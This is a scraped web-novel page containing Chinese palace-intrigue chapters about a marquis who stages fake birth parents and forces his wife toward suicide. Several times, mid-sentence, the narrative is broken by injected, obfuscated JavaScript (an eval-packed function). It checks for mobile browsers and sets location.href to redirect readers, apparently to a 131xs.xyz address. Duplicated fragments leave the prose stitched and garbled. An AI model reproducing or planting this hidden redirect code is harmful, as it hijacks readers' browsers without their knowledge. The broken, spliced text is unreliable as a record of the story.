昭瑞亲王怎么教的孩子,竟然让孩子成了这样的禽兽。 谢锦程如今乃是一介庶人,被幽禁后没有半点悔改之心,还害**勋爵之子。 此事不可能轻拿轻放。 否则定远侯和年后即将上任的工部尚书温如璋都不会善罢甘休。 文昭帝一道圣旨,直接赐了毒酒送到昭瑞亲王府。 昭瑞亲王一听这旨意,如遭重锤猛击颅顶,眼前骤然漆黑,天旋地转。 他高大身躯猛地一晃,重重砸倒在地。 他的半边脸孔肉眼可见地歪斜抽搐,口水混着血丝不受控制地从嘴角淌下。 仆从们魂飞魄散的扑了上来,赶忙派人去请太医。 就这样,昭瑞亲王连孙儿最后一面都未能见到,彻底中风了。 晏逐星没想到事情发展得这么迅速。 晏明修竟然就这样**? 她当即派人去打听了当时是个什么情况,这才知道晏明修生前被困在昭瑞亲王府时遭遇了那样的事情。 她愣了片刻,唇角勾起了一抹笑。 这样的消息,怎么能瞒着温如霜这个亲娘的呢。 于是她径直去了找温如霜。 “你还不知道晏明修生前是怎么被谢锦程**的吧?”晏逐星勾起唇角,将打探的消息一字一句吐了出来。 温如霜如遭雷击,脸色瞬间惨白,摇摇欲坠。 “我的儿啊……”她齿间渗血,声音嘶哑,眼中恨意滔天,恨不得立刻提刀杀去昭瑞亲王府。 先是失去了爱女的消息,又收到了嫡子被虐杀的噩耗,温如霜原本就残败不堪的身子哪里经受的住这样的打击。 见到晏明修遗体的那一刻,她再也撑不下去,晕**过去。 定远侯只觉得面上无光,感觉走到哪都有人在背后议论晏明修的死。 他痛恨谢锦程的恶毒,又痛恨晏明修的不知羞耻。 发生了那样的事情,不以死谢罪保全家族名声就算了,竟然还让这事宣扬了出去。 眼看温如霜又被打击得晕厥,他心里暗暗着急。 也不知道他要找的人,什么时候才能找到。 可千万别等温如璋来了京城才找到呀。 * 定远侯府一片萧瑟,昭瑞亲王府也没好到哪里去。 谢清安先替被毒杀了的儿子收尸,而后又命人伺候好中风的父王,他的夫人经受不住这样的打击也病倒了。 整个王府上下,都靠他撑着。 他心里的怒火怎么也熄不下去。 一切都怪晏明修。 他若不来这一趟,儿子又怎么会被皇上赐死。 只是砍掉了他的脑袋,真是太便宜他了。 “去,请明妄道长来。”谢清安声音冰冷,不带一丝波澜。 他要将晏明修的魂魄彻底打散,永世不得超生,永堕轮回苦海,不得解脱。 当夜,枯瘦如鬼的明妄道长带着法器进了王府偏院。 不一会儿,法坛便设好了:院中挂着几缕黑幡,法坛中央供着晏明修的生辰八字与一缕贴身之物。 明妄口中念念有词,片刻后,他抓起一把黑色粉末撒入面前的火焰之中,腾起阵阵腥臭的黑烟。 紧接着,他用手指蘸着混合了尸油和朱砂的暗红浆液,在黄符上飞快画了道扭曲的符咒,猛地拍在写有晏明修名字的草人头上。 “破!” 一声凄厉断喝,草人无火自燃,瞬间化为飞灰。 明妄眼中幽光一闪,嘶声道:“成了。此子魂魄已碎如齑粉,再无聚合之机,生生世世,永受轮回之苦。” 谢清安嘴角扯出一丝残酷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼看就要到了小年夜,算算时间,晏明远也快从青州回来了。 但令晏逐星没想到的是,比晏明远来得更快的是她的亲生父母。 第99章 亲爹娘找来 年关将近,侯府冷冷清清,丝毫没有要过年的气氛。 晏逐星却打算好好过个年。 毕竟这是她重生归来的第一个年,要好好过,往后的日子才能红红火火。 因而在小年夜的前一天,她领着九栀和双鲤出门去逛街,打算亲自置办一些年货。 正踏进一家糕点铺子,就听见身后传来一声带着哭腔的、颤抖的呼唤:“星儿!是我的星儿吗?” 晏逐星诧异地回头,只见一对约莫四十余岁、衣着整洁体面却不显富贵的夫妇,正激动地望着她。 四目相对之际,妇人蓄满的泪水滚滚而下。她身旁的男子,此刻也激动得嘴唇哆嗦,不住地用袖子擦拭眼角。 “丫头!爹娘可算找到你了!这些年我们想得你好苦啊!”妇人再忍不住,踉跄着就要扑上来抓晏逐星的手,引得周围路人纷纷侧目。 晏逐星心头猛地一跳,心中瞬间涌起巨大的疑虑。 她不动声色地后退半步,避开了妇人伸来的手,清亮的眼眸里没有丝毫动容,只有审视和警惕。 亲生父母? 重生后她一直在暗查自己的身世,然而线索寥寥无几,至今没有任何头绪。 如今却突然当街冒出这么一对自称是她生身父母的夫妇。 她总觉得此事透着一丝古怪。 “你们是什么人?休要在此胡言乱语,攀扯我家小姐!”双鲤柳眉倒竖,一个箭步上前,将晏逐星牢牢护在身后。 她扫视着这对哭天抢地的夫妇,板着小脸道:“光天化日,哭哭啼啼就想认亲。怕不是哪里来的拐子?” 那妇人被双鲤厉声呵斥,又见晏逐星目光冷漠,顿时悲从中来,哭嚎声拔高了几度:“星儿!你看看娘!你当真不认得娘了吗?” 男子连忙用力搀扶住哭得浑身发软、几乎要瘫倒在地的妻子,自己也红了眼眶,声音沙哑地劝道:“孩他娘,你莫要这样,仔细吓着孩。都怪我……当年星儿丢失时还小,记不得咱们也是情理之中。” 他语气充满了无奈和心疼,试图安抚妻子,目光却殷切地望向晏逐星。 周围支棱着脖子看热闹的百姓越聚越多,嗡嗡的议论声四起。 这种当街认亲的戏码,谁不爱看? 男子深吸一口气,转向周围越聚越多的看客,抱拳扬声道:“诸位街坊邻里,在下关万海,在通州开着‘万海布匹行’,做了十几年本分生意,街面上不少老主顾都认得关某。今日寻回失散多年的骨肉,实在是情难自禁,绝非歹人。若有叨扰,还请诸位多多包涵!” 人群里,有人认出了定远侯府的马车,嚷嚷了起来:“这位是定远侯府的大小姐。你可有证据证明人家是你的女儿?” “自然是有的!”那自称关万海的男子忙不迭点头。 “我的女儿左耳耳垂后边有一颗红痣。而且,她这模样和小时候长得几乎一模一样,我怎么会认错自己的女儿。” 晏逐星下意识地摸了摸自己的左耳,确实有一颗小小的痣。 “这也不能证明什么呀,耳朵有痣的人多了去了。焉知你们不是早早打听好,特意来认亲的。”双鲤果断反驳。 关万海急切地看向晏逐星:“关某确是你的亲生父亲啊。当年我带着你去青州行商,都怪我一时疏忽,竟把你弄丢了!你走丢时,手上还带着你娘给你打的金手镯呀。” 他说到这里,声音猛地拔高,充满了痛苦和悔恨,手指着身旁哭得几乎站立不稳的妇人。 “自那日起,你娘她日夜以泪洗面,人也差点跟着去了啊。” 妇人听到这话,猛地爆发出更凄厉的哭声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703379|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >关万海将她揽到怀里,深吸一口气,声音带着劫后余生的颤抖:“这些年我们散尽家财,托人四处打听,从未有一日放弃过寻你。苍天有眼!菩萨保佑!今日终于是让我们找到你了。” “唉哟,听听!通州开着布庄的东家,怎么可能是坏人。还给闺女打了金手镯,一听就是疼爱孩子的好人家。这遭的什么罪哟。” 人群里一个心软的婆子已经抹起了眼泪。 “可不是嘛!丢了孩子十几年,好不容易找着了,亲闺女却杵着不动,连句话都没有……” 旁边立刻有人接话,语气带着明显的不赞同和窥探到侯府秘辛的兴奋。 “啧,这不明摆着吗?” 一个尖细的声音带着了然和讥诮响起。 “人家现在可是金尊玉贵的侯府大小姐。谁还乐意认回那开布庄的爹娘?这不是自降身份嘛。” “就是就是。商贾之女,哪比得上侯府嫡女体面?换我,哼,我也得掂量掂量。” 人群中议论纷纷,将一直没有开口的晏逐星几乎是架到了火上烤。 晏逐星几不可察地蹙起了眉心。 耳后红痣、青州走失、手戴金镯子。 这夫妇二人抛出的细节,倒是全都和她知晓的线索对上了。 这巧合未免太过精准。 难不成他们真的是她的亲生父母? 然而,看着眼前这对哭得撕心裂肺、几乎要肝肠寸断的夫妇,她心底却没有任何的波动。 她总觉得此事透着说不出的古怪。 压下心底翻涌的疑虑,晏逐星清冷的眸子扫过关万海夫妇,又掠过周围指指点点的看客,终于开口: “事关重大,空口无凭。” “二位既言之凿凿,便随我一同回侯府,当面同侯爷禀明原委。此事真伪,自有侯爷决断。” 第100章 滴血验亲成 “自然是没问题的。”关万海连忙点头。 而后,晏逐星领着他们一块回了定远侯府。 “你们是什么人,三言两语就要抢走我的女儿么?”定远侯听到晏逐星的亲生父母上门认亲,怒气冲冲地赶了过来。 关万海夫妇被他吓得浑身一抖,扑通一声重重跪倒在地,额头紧贴着冰凉的地砖,发颤着求饶:“侯爷息怒!草民万万不敢同侯府抢人啊!” 关万海急切地开口:“侯爷明鉴。草民夫妇苦寻女儿多年,风餐露宿,耗尽家财,所求不过是有生之年能亲眼见她安好,便心满意足了。” 他重重磕了个头,再抬起头时,已是泪流满面,声音哽咽却异常清晰。 “只要她能过得好,无论她认不认我们,我们都不会有半分怨言。只求侯爷开恩,时不时容我们远远地看上她一眼,就……够了。” 他言辞恳切,又将自己的地位摆得极低,让定远侯熄了几分怒气。 他冷哼一声:“你既口口声声说星儿是你们的女儿,那便滴血认亲吧。” 定远侯给管家使了个眼色,不一会儿,管家便亲自端着一个红漆托盘返回。 托盘上,两盏盛着清澈泉水的白瓷碗摆放端正,旁边搁着几根寒光闪闪的崭新银针。 定远侯的目光状似无意地掠过那两碗清水,最后看向关万海夫妇:“你们二人,各取一滴血,滴入碗中。” 关万海颤抖着刺破了手指,将血滴入其中一个碗,他的夫人则滴到了另一个碗里。 定远侯又看向了晏逐星:“星儿,该你了。” 晏逐星面无表情地拿起一根银针,毫不犹豫地刺破指尖,殷红的血珠滚落,精准地滴入两个水碗当中。 血滴在清澈的水中晕开,像一朵小小的红梅。 四人的目光全都死死盯住了那两只白瓷碗。 晏逐星滴下的那两滴血,与关万海夫妇先前滴入的血液,如同被无形的力量牵引,在水中只微微浮动了一下,便迅速地、毫无阻碍地融合在了一起。 关万海夫妇先是一愣,随即爆发出惊天动地的狂喜哭嚎:“老天开眼啊!咱们真找到女儿了。侯爷,您看见了吗?她就是我们的亲骨肉啊!” 两人抱头痛哭,仿佛卸下了千斤重担,激动得几乎要昏厥过去。 定远侯看着碗中那融合无间的血水,嘴角几不可察地勾起一丝笑意,随即隐去。 那水碗里,他命人加了明矾。 今日不管是什么人的血滴在里边,都会融合到一起。 目光收回,他严肃地盯着关万海夫妇:“你们既是星儿的生身父母,本侯也不会阻拦你们见她。只不过,星儿是本侯的女儿,谁也休想带走她。” “是,侯爷。”关万海夫妇连忙点头应下。 定远侯随即吩咐管家:“去告诉夫人,大小姐的亲爹亲娘寻着了,今晚一同用膳。” “是。”管家领命而去。 关万海夫妇又惊又喜,万万没想到侯爷竟肯与他们同桌用膳。 而后定远侯又看向了晏逐星,目光满是慈爱。 “星儿,你同你的爹娘说会儿话吧。” 晏逐星点了点头,没有拒绝。 滴血验亲虽然成功了,但她心里依旧保持着警惕,并没有轻易相信两人的身份。 毕竟他们出现的时机太微妙,提供的线索又太精准。 “你们随我去院子里坐坐吧。”晏逐星领着两人去了玉澜院。 一路上,关万海夫妇按捺不住四下张望,心头暗暗感慨:侯府果然不是他们商贾门第可比的。 一个嫡女的院子都这么气派,那定远侯应承他们的那件事,应该也能实现吧? “坐。”晏逐星命人给他们搬来了椅子。 两人略显拘谨地坐下。 “家里的情况,还有小时候的事情,我记不太清了,你们给我讲讲吧。”晏逐星挑起了话题。 关万海和妻子对视一眼,都看到了彼此眼中的如释重负。 不记得好啊,若是记得,他们这对冒牌货就要被拆穿了。 关万海扭头看向晏逐星,笑道:“没事,忘了也没关系。日后咱们相处的机会还多着呢。” “是啊是啊。”关万海的妻子杨氏跟着点头。 关万海喝了一口茶,给晏逐星介绍起关家的情况。 “你本名叫关星,你有三个姐姐和一个弟弟。你大姐叫关霞,二姐叫关云,三姐叫关月,最小的弟弟叫关曜。” “你的几位姐姐都已经出嫁,如今只有你弟弟陪在我们身边。” 晏逐星打断了他们的话。 “姐姐们出嫁,都给了多少陪嫁?” 关万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703380|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海夫妇被她这直白的问话打得措手不及。 两人心里都有些不满。 都当上侯府嫡女了,怎么还惦记着他们出的嫁妆。 埋怨归埋怨,但面上却是不显。 关万海清了清嗓子,脸上堆起笑:“咳,咱们家虽然行商,但你也知道,小本买卖赚的都是辛苦钱。你那三个姐姐出嫁,我们也是尽力张罗了体面。” “一人一口刷了红漆的松木箱子,看着喜庆。里头还装了十匹细棉布,另外还给了一套鎏金的头面,簪子耳坠看着黄澄澄的,倒也光亮。女儿家嘛,有个嫁妆样子,婆家看着不寒碜就行了,过日子还得靠她们自己。” “我和你娘,一视同仁,三个姐姐都给了那么多东西。不偏不倚。” 晏逐星若有所思,没有接话。 关万海见她似乎不满意,忙道:“不过等你出嫁时,我和你娘定然会给你准备更多的嫁妆。毕竟你这些年不在我们身边,是我们亏欠了你。” 一旁的杨氏跟着补充:“对,到时候我们额外给你补一套赤金的头面,再给你补一百两压箱底的钱,绝对不会让你的婆家看轻了你。” “我走丢时手上戴的金镯子,长什么样,你们还记得吗?”晏逐星冷不丁地问了出来。 杨氏见晏逐星盯着她,猛地坐直了身子,抹着眼泪哽咽道:“当然记得。这十几年来,娘一刻也不敢忘,生怕日后见到你认不出来。” 她颤抖着手比划着,仿佛那小小的金镯就在眼前。 “那是你周岁时,我特意请通州最好的匠人打的。赤金的镯子,镯身中间镶着一块宝石……” “是块孔雀蓝的琉璃!”关万海嘶哑地接上话,声音带着压抑的激动,“有指甲盖大小,透亮透亮的。那是我从琉光商人手里淘换来的稀罕物。” 杨氏跟着用力点头,泪水涟涟:“为了配那块宝石,我特意让匠人在周围錾了圈缠枝莲纹,又用小金珠镶了一圈边,精巧极了,谁见了都要夸一句精妙绝伦。” “我走丢时,弟弟几岁?”晏逐星忽然调转了话题。 关万海夫妇完全没想到她会问这个,下意识地回答:“一岁。” 晏逐星笑了。 虽然这两人形容的镯子和她从温如霜那里要来的一模一样,但她还是发现了破绽。 第101章 发现破绽了 从关万海夫妇给三个女儿的嫁妆就能看出来,他们对女儿的疼爱十分有限。 关家做了十几年布匹买卖,陪嫁就只给十匹细棉布,连一匹绫罗绸缎都舍不得搭上。 这哪是添妆? 分明就是舍不得掏真金白银的好料子,故意糊弄人。 至于所谓的鎏金头面,更是中看不中用。 面上不过是薄薄一层金粉,看着黄澄澄亮闪闪的,但稍不留神磕碰一下,金粉就会哗啦啦往下掉。 恐怕没几日功夫,底下那廉价的白铜底子就得露出来。 到时候还不知道他那几个女儿在婆家要被人怎么嘲笑呢。 最荒谬的是,他们竟然连一文钱的压箱银都没给女儿。 那可是女子在婆家安身立命的底气。 手头没点活钱,遇上婆家刁难,或是自己身子不爽利想抓副药,哪怕想私下贴补点家用,都得看人脸色,仰人鼻息。 关万海夫妇连这点最实在的保障都舍不得给闺女,他们会舍得给她打赤金嵌琉璃的镯子? 简直是痴人说梦。 再说了,她走丢那会儿,关曜都一岁了。 那么好的金镯子,怎么可能轮到她,九成九是要落到他们宝贝儿子手里的。 他们之前说的那些,全是谎话。 十之**,是有人在背后指使了关万海夫妇,故意找上她来认亲。 知道那镯子模样的,除了温如霜,恐怕就只有定远侯了。 他们突然下这么一步棋,究竟图什么? 晏逐星细细思索了起来。 关万海夫妇见她问完那句话后,忽然无声地笑开,之后便一直沉默不语,心里顿时直打鼓。 坏了,难道他们哪句话露了马脚么? 这时,温如霜院子里的丫鬟急急忙忙地跑来通传:“大小姐,不好了,夫人晕倒了。侯爷请您和关家老爷和夫人一块去一趟。” 关万海夫妇愈发紧张了。 晏逐星知道他们是冒牌货之后,愈发淡定了。 “走吧。” 她起身跟着丫鬟往外走。 关万海夫妇赶紧跟了上去。 人还没进院子,李氏那撕心裂肺的惨嚎就先钻进了耳朵。 晏逐星定睛一看,李氏此刻正被两个粗壮仆妇死死按在地上。碗口粗的竹杖一下下结结实实砸在她腰臀上,发出沉闷的“砰砰”声。 “当初是夫人瞧见大小姐生得可爱,正、正巧二小姐又丢了……这才把人给抱回来的啊!” 她疼得脸都扭曲了,断断续续地哭喊,试图辩解,“侯爷饶命,老奴说的句句是实话啊!” 李氏凄厉的惨叫声在院子上空打着旋儿,听得人头皮发麻。 跟在晏逐星身后的关万海,一听这话,双目瞬间变得赤红,额头青筋暴起,整个人如同被点燃的炮仗,怒吼一声:“怪不得一转眼我的女儿就不见了,原来是你们搞的鬼!” 话音落下,就饿虎扑食般的朝地上的李氏扑了过去。 他狠狠掐住李氏的脖子,死命用力:“我要报官!报官!” 李氏被掐得眼珠暴突,面色迅速涨红转青紫,看起来几乎马上就要断了呼吸。 她从牙缝里艰难地挤出一个破碎的句子:“大、大小姐……救……救命啊……” 晏逐星冷眼旁观,没有开口。 “在侯府**,谁给你的胆子。”一旁的定远侯厉呵一声,护卫们一拥而上将关万海和李氏分开。 关万海猛地攥紧拳头,大吼道:“我的女儿是被侯府夫人硬生生拐走的!根本就不是我弄丢的!” 他死死盯着前方,目光带着滔天的恨意,像是要穿透窗户杀了里边的温如霜。 “就算她是侯府夫人又如何?她必须血债血偿!若这天下无人敢管,我就去告御状!撕破这天也得讨个公道!” “你冷静冷静, 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“当初是温氏独自回娘家省亲,我公务在身,并未随行。她抱你回来时,只说是路上捡的孤女。我信了她,真以为你是无家可归的孤儿,想着侯府家大业大,养你一个孩子也不费事,权当是做件善事积德。” 他重重叹了口气,眼圈微微发红,显得懊悔无比。 “可我万万没想到她竟是如此歹毒,故意拐了你来,害得你与亲生父母骨肉分离整整十余载。爹对不住你,对不住关家啊!” 晏逐星看明白了他唱的哪一出,配合地露出了一抹惊惶无助的神色。 “呜呜呜,父亲,那现在怎么办,若关家人真要状告母亲,那咱们侯府的名声可就全毁了呀。” 第102章 坐实她罪名 “莫叫她母亲!”一提到温如霜,定远侯脸色瞬间铁青,“她不配!” “我定远侯府,没有这等丧德败行的主母!” 他斩钉截铁地跟温如霜划清了界限。 听到他急于撇清的话,晏逐星心底最后一丝疑虑也散了。 原来如此。 他是要坐实温如霜“拐带孩子”的弥天大罪。 一个身负重罪、声名狼藉的**,自然不配再占着侯府主母的尊位。 “好了。”定远侯脸色稍缓,甚至带上一点刻意的温柔。 他伸手拍了她肩头两下,又道:“你先回自己院子歇着。外头的事自有爹处置,你什么都别管,只消记住一点——” “你永远都是我定远侯府堂堂正正的大小姐。” 话说完,便示意她离开。 “是。”晏逐星垂下眼睫,顺从地应了一声,干脆利落地离开了。 定远侯冷冷瞥了一眼地上只剩半口气的李氏,嫌恶地移开目光,声音不带一丝温度: “把这老狗拖去柴房,锁严实了。什么时候温氏认罪画押,什么时候再放她出来。” 约莫一刻钟后,被生生气晕过去的温如霜悠悠转醒。 眼皮刚费力掀开一条缝,就撞上了定远侯那张毫无表情的脸。 温如霜心头猛地一沉,慌乱地环顾四周。 空了! 她身边伺候的心腹丫鬟,竟一个都不见了。 偌大的屋子里,只剩下她和床边的定远侯。 “晏鸿升!”她强撑着支起身子,声音因恐惧而尖利发颤,“你、你想干什么?!我警告你,你要是敢动我一根汗**,我大哥绝不会放过你!他定叫你吃不了兜着走!” 看着试图用狠话壮气势的温如霜,定远侯笑了。 “如霜,你我夫妻一场,我怎么会害你呢。” 温如霜看着他的笑,心底的不安愈发浓厚。 定远侯一字一句道:“如今,只有我能救你了。” “你胡说什么。”温如霜不可置信地反驳。 定远侯眉眼间没有半点关心与担忧,只有冷漠与算计。 他冷冷道:“星儿的亲爹娘已经找上门了,告的就是你拐带孩童的重罪。你的贴身心腹李氏,也指认了你当年拐走星儿的勾当。” “若非你当年做下这等丧尽天良的恶事,侯府近来又怎会灾祸不断,霉运缠身?!” 他死死盯着温如霜骤然惨白的脸,一字一句,如同诅咒: “咱们的亲生女儿毁了,紧接着,唯一的儿子也瞎了眼,没了命。温如霜,你难道不觉得这桩桩件件,就是老天爷对你作恶的报应吗?” 这诛心之言如同重锤,狠狠砸在温如霜心口。 她不愿意承认这是自己的报应,厉声反驳道:“这一切都是晏逐星那个灾星带来的,与我有何干系?” 定远侯没有被她的厉声呵斥吓退。 他俯下身,凑到她耳边,声音压得更低,带着一种致命的诱惑和冰冷的威胁: “还有不到两年,明远就要及冠了。到时候,我就会上奏陛下,请立他为侯府世子,承袭爵位!” “如今,你只剩下明远这一个儿子了。温如霜,你难道不为他考虑么?” “你当真要让他顶着‘毒妇之子’、‘拐子生母’这样洗不掉的恶名在这世上立足?你要生生毁了他唾手可得的前程和爵位吗?” 温如霜刚刚强撑起来的身子猛地一颤,像被人瞬间抽走了所有骨头,瘫软跌回床榻上。 不知不觉间,她竟被逼得到了山穷水尽的地步。 她神思恍惚,与其就这样瘫痪在床声名狼藉地活着,倒不如**算了。 她的三个亲生孩子,明月清白被毁,失踪不知死活;明修生前被人羞辱,死后还被打得魂飞魄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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定远侯听她提到“夫妻二十载”,心中微微一动,想起了两人新婚燕尔时的甜蜜往昔。 他想了想,让明远见温如霜最后一面,也能减轻自己的嫌疑,日后温家上门要说法,也能让明远顶上。 于是他点点头:“那你先将绝笔书写好吧,明远也快回来了。” 温如霜擦掉眼泪,露出了一抹惨然的笑。 “多谢侯爷。” 喝完药的她,精神看着好了几分。 她等到了天黑,也没等到晏明远归家的消息。 她低声唤来芰荷,让她将笔墨纸砚送过来。 她强撑着坐直了身子,提笔写下这封定远侯想要的遗书。 写信途中,她歇了好几次,这才断断续续地将信写完。 写完后,她不忍再看第二遍,径直将信交给了芰荷。 “去吧,将此物交给侯爷过目。” 定远侯拆开遗书,仔细地阅读了起来。 【妾身温氏如霜,罪孽深重,无颜苟活于世。今血泪绝笔,含悲泣血,但求垂怜。】 【明月吾女,下落不明,生死难测。每每思及,心如刀绞,夜不能寐。】 【明修吾儿,年少惨亡,为娘未能护其周全,死后更未能全其哀荣,此恨滔天。】 【妾身身为侯府主母,执掌中馈、教养子女乃分内之责,然而二子接连遭难,皆因妾身无能、失察、未尽侯府主母之职。此等大过,愧对侯爷,愧对晏氏祖宗,更愧对明月、明修在天之灵!】 【妾身自知罪无可赦,今自请下堂,自绝于世,非侯爷休弃,亦非温氏除名,乃罪妇自戕以谢罪。】 【自今日起,温氏如霜与定远侯府恩断义绝,非侯爷之妻,非明远之母】 【妾身此生已污,若再苟活,只会徒增明远之耻,累其前程。唯愿一死,斩断牵连,使吾儿免受母过之累。】 【侯爷正值盛年,侯府不可久无主母,宗嗣不可无人承继。妾身无能,致子嗣凋零,已不配占此位。】 【恳请侯爷以宗庙社稷为重,尽早另聘高门淑女为继室,开枝散叶,光耀门楣。此乃妾身对侯府最后的赎罪之请。】 看到这,定远侯长长地舒了一口气。 还算温如霜识相,知道将自尽的原因归结到自己失责上,自请下堂。 他继续往下看,那些嘱咐晏明远的话他直接跳过了,径直看向她留给温家人的话。 【大哥正值仕途关键,万不可因妾身之死误了前程。】 【妾身之死,乃自愧失职所致,与侯府无关。大哥若念骨肉之情,切莫追究,勿使明远为难。】 【若因妾身之死掀起风波,反令明月、明修亡魂难安,更损温氏与侯府多年情谊。妾身死不瞑目。】 【唯愿吾儿明远此生平安顺遂,不因母过而蒙尘。】 【罪妇温氏如霜绝笔。】 定远侯看着手中的绝笔信,十分满意。 他亲自去见了温如霜一面。 他俯身替温如霜掖了掖被角,声音带着许久未见的温情: “夫人深明大义。为夫,痛心疾首。” “你放心,你既为侯府付出至此,为夫定不负你所托。日后下葬,必当竭尽全力,予你一个配得上侯府主母身份的体面,让你走得风风光光。” 温如霜紧紧捏着被角,用尽了全身力气克制,才忍住了啐他一口唾沫的冲动。 晏鸿升这个虚伪小人。 明明是他将她逼死的,现如今倒装上了好人。 她闭上了眼睛,不愿与他再说一句话。 定远侯也不生气,只是温和地看着她:“夫人莫要担心,我已经派人去城外候着了。只要瞧见明远,便会让他快马加鞭赶回来见你。” 温如霜依旧没有吭声。 定远侯不再自讨没趣,回了自己的院子。 翌日,小年,晏明远赶在城门落锁前回到了定远侯府。 他刚一到家,就被弟弟身亡的消息给砸懵了。 他只不过去了一趟青州,怎么侯府里竟然发生了这样大的事情。 “明修是**的?”他痛苦地看向了定远侯。 定远侯提起丧命的次子,眼里闪过一丝恨意与厌恶。 “都是谢锦程那个王八羔子的错。” 他把事情原封不动地告诉了晏明远。 晏明远听完整个人怒火中烧、 他的弟弟先因谢锦程被戳瞎左眼,又遭受了那等禽兽不如、令人发指的折辱,最后落了个死无全尸、魂飞魄散的下场、 昭瑞亲王府简直欺人太甚。 “我要跟他们拼了。”他扭头就要出府。 定远侯急忙派人拦下他。 “站住,你莫要冲动。瘦死的骆驼比马大,如今谢锦程重伤而亡,昭瑞亲王也已经中风,咱们再找上门,也无济于事。” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们一次次对星儿板着脸训诫,让她知足,告诉她能在侯府长大是天大的福气,警告她不要贪心,不要妄想不属于她的东西。 可现在,父亲告诉他星儿根本不是捡来的孤女。 她是被母亲恶意拐带回家的。 那他和明修这些年对星儿所有的冷落、苛责、那些自以为是的训诫算什么? 第104章 是我害死她 定远侯露出一副痛心疾首的表情,拍了拍他的肩膀:“去看看你母亲吧,她惦念你许久。” “不了。”晏明远脱口而出的竟是拒绝。 定远侯有些惊讶,没想到他会这么说。 晏明远捂着头,痛苦不已。 他现在不知道该怎么面对母亲,更不知道该如何面对晏逐星。 他现在谁都不想见。 “父亲,孩儿千里迢迢赶路归家,如今疲惫不已,先行回屋休息了。”晏明远冲定远侯匆匆行了一礼,红着眼眶大步离开了。 定远侯没有阻拦他,扭头看向了一旁候着的芰荷。 “听到了吧,不是我不让他见你家夫人,是他不愿见。” 芰荷脸色有些发白。 夫人如今身子骨一日不如一日,大少爷不肯见她,恐怕身子会遭受不住打击。 她恍惚地回了院子。 瞧见她,温如霜急切地探头出来:“明远呢?不是说他回府了,么?” “大少爷说赶路累了,先回屋休息了。”芰荷支支吾吾地回答。 “是不是晏鸿升出尔反尔不愿意让他见我了?”温如霜激动大吼,还岔了气,连连咳嗽好几声。 芰荷赶忙上前替她抚背,红着眼眶道:“侯爷并未阻拦大少爷前来。” “我不信。”温如霜不相信自己疼爱的长子会不见自己。 “肯定是晏鸿升那王八蛋跟他说了什么,挑拨了我们母子的关系。” “你命人将我抬到大少爷的院子去,我就不信,见不着明远了。” 芰荷只得听命。 温如霜来到了长子的院落,不曾想,却依旧见不到人。 “夫人,大少爷沐浴更衣结束,已经睡下了。”晏明远的小厮有些尴尬地开口。 温如霜着急道:“睡下了就把他叫醒啊!我可是他的亲生母亲,他都不愿见我吗?” 小厮只得应下,转头去叫晏明远。 不一会儿,他又出来了。 他忐忑地开口:“夫人,大少爷太累了,回来之后服了药入睡,如今……叫不醒……” 温如霜哪里还能不明白晏明远的意思。 他就是不想见她。 “哈哈哈哈哈。”想通了这一点,温如霜忍不住大笑了起来。 枉她为了他放弃侯府主母之位,放弃自己的性命,可他竟然连她最后一面也不愿意见。 真不愧是晏鸿升的好儿子啊。 父子俩流的血,都是一样的冷漠。 温如霜笑出了眼泪,而后淡淡道:“回吧。” 得知她要走,晏明远终于推开窗看向了她回院子的必经之路。 看着母亲离去的背影,晏明远痛苦地闭上了眼睛。 “娘,您让我冷静冷静,明日,孩儿再去见你。” 他喃喃自语。 却不知,今夜一别,便是永别。 他躺在床上翻来覆去地想着家中的事情,怎么也睡不着。 直到天空泛起了鱼肚白,他才稍稍有了睡意。 没过多久,便听到了小厮唤他起身用早膳。 晏明远想了想,决定亲自去请母亲用膳赔罪。 昨夜是他的不对。 洗漱更衣后,他亲自去大厨房取了早膳给母亲送去。 不曾想,都这个时辰了,母亲的卧房依旧紧闭。 他看向了芰荷:“母亲怎还未起身?” “夫人说昨夜没休息好,想多睡会儿,让我们别打扰她。”芰荷恭恭敬敬地回答。 “既是如此,那我就在这等母亲醒来吧。”晏明远坐下,命人去书房拿了书,一边看书一边等温如霜醒。 